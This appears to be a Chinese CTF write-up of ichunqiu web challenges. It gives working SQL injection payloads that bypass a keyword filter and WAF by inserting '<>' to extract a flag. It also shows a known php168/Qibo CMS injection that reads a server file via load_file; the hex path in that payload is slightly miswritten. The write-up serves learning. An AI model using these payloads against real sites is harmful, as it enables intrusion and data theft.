题目地址: http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=1
打开连接,页面显示的是:
flag{在数据库中}
找到注入点使用burp查看网页的源代码,发现:
<!--SELECT * FROM info WHERE id=1--><br />flag{在数据库中}<br /><br />提示如上,说明这是一道SQL注入的题目了。
首先通过测试判断,SQL注入的过滤情况。
输入 or 、 and 、 union ,发现都能够正常使用使用,输入 select 则提示 inj code! ,说明select是直接被PHP代码过滤了。
然后尝试使用大小写混合的方式来进行绕过,当输入 ?id=2 SelsElEcTect 的方式混合select时页面出现405,说明在网站的后台有WAF的存在。
最后尝试看看特殊字符的情况,特殊字符有 !@#$%^&*()_+-=<>?/|~ .最后进行测试发现使用 <> 可以被替换为空。
然后尝试使用 <> 和 select 的混合进行绕过。
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=sele%3C%3Ect页面上没有出现任何的提示,后台显示 <!--SELECT * FROM info WHERE id=select--> ,说明绕过了后台的检测和WAF。
找到flag在 or 和 select 可以用的情况下就是传统的注入方法,具体可以参考SQL注入入门(二)
得到字段总数:
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=1 o<>rder by 3得到字段数是3
得到显示位:
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,2,3得到显示位是2
得到当前数据库的表:
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()在当前的数据库中仅仅只存在一个表 info
得到info表中的字段:
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,group_concat(column_name),3 from information_schema.columns where table_name=0x696e666f发现有WAF。这个就比较奇怪了,之前的SQL注入语句都没有,到这个地方就有了。但是以为在这个地方又要使用什么奇技淫巧,后来才发现是我想多了。直接将 information_schema 变为 information_schem<>a 就可绕过WAF。
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,group_concat(column_name),3 from information_schem<>a.columns where table_name=0x696e666f得到字段名称是id,title,flAg_T5ZNdrm
提取数据找到flag的位置之后,就可以提取数据得到flag。
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,group_concat(flAg_T5ZNdrm),3 from info最后得到的flag为 flag{d152ec60-5d5c-462a-8236-73755f7cd27d}
再见CMS题目链接: http://964d6a26b96641f58570168c092c3592ebba9c92af094aae.game.ichunqiu.com/
题目提示:
这里还是有一个小脑洞
一遇到这种真正需要渗透测试的题目,就完全不会了。这篇文章还是看了别人的writeup写出来的。
进入网站,发现是一个cms系统,当然具体是什么cms系统,这个就需要看大家的能耐了。
我在网上找到了一个 在线cms识别系统 ,经过识别是php168。php168就是齐博cms的前身,在网上找到齐博cms系统的漏洞, 齐博整站/地方门户SQL注入漏洞 。
这个漏洞主要就是在修改个人信息的页面存在一个SQL注入的漏洞,通过文章中的提示,注入:
URL:http://964d6a26b96641f58570168c092c3592ebba9c92af094aae.game.ichunqiu.com/member/userinfo.php?job=edit&step=2POST_data:old_password=monkey123456&truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
查看个人主页就可以看到当前的用户信息,如下:
但是目前还是无法得到flag。后来才知道flag是位于 /var/www/html/flag.php 中,使用sql中的load_file来读取文件的内容,最终的flag的语句为:
URL:http://964d6a26b96641f58570168c092c3592ebba9c92af094aae.game.ichunqiu.com/member/userinfo.php?job=edit&step=2POST_data:old_password=monkey123456&truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(load_file(0x2f7661722f7777772f68742c6c2f666c61672e706870)) where uid=3%23
这样就可以得到flag了
XSS平台看了这个题目的writeup,看来需要了解tarnado和xss平台相关的概念了。
这道题目等搞清楚了这2个问题再来补充这个题目的解答。
总结发现自己在代码审计和渗透测试方面的能力还是比较弱,一遇到这样的题目就抓虾了,这方面还需要多多加强。下一步要多分析漏洞,都进行调试。
参考在线cms识别: http://whatweb.bugscaner.com/look/#即将上线
齐博整站/地方门户SQL注入漏洞: http://bobao.360.cn/snapshot/index?id=10420